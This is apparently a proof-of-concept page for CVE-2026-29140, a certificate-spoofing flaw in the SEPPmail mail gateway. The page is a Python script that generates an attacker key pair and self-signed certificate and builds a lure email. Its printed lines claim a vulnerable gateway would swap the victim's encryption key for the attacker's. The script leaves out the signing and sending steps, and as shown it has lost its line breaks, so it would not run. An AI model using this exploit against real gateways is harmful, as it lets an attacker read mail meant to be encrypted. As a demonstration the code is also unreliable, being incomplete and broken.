CVE-2026-29140 SEPPmail邮件网关证书欺骗漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-29140 # This script demonstrates how to generate a malicious S/MIME signed email # containing an attacker-controlled certificate. from OpenSSL import crypto import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # 1. Generate Attacker's RSA Key Pair attacker_key = crypto.PKey() attacker_key.generate_key(crypto.TYPE_RSA, 2048) # 2. Create a Self-Signed Certificate for the Attacker cert = crypto.X509() cert.get_subject().CN = "Attacker Controlled" cert.set_serial_number(1000) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(10*365*24*60*60) cert.set_issuer(cert.get_subject()) cert.set_pubkey(attacker_key) cert.sign(attacker_key, 'sha256') # Save cert to file for debugging with open("attacker_cert.pem", "wb") as f: f.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) # 3. Construct the Email msg = MIMEMultipart() msg['Subject'] = "Important Update" msg['From'] = "[email protected]" msg['To'] = "[email protected]" # In a real exploitation scenario, we would sign this message # using the attacker's private key and embed the certificate. # The vulnerable gateway would then import 'attacker_cert.pem' # into the victim's encryption key store. body = MIMEText("This message contains a malicious certificate in its S/MIME signature.") msg.attach(body) print("[+] Malicious email structure created.") print("[+] In a real attack, send this email to the target gateway.") print("[+] The gateway will replace the victim's encryption key with the attacker's key.")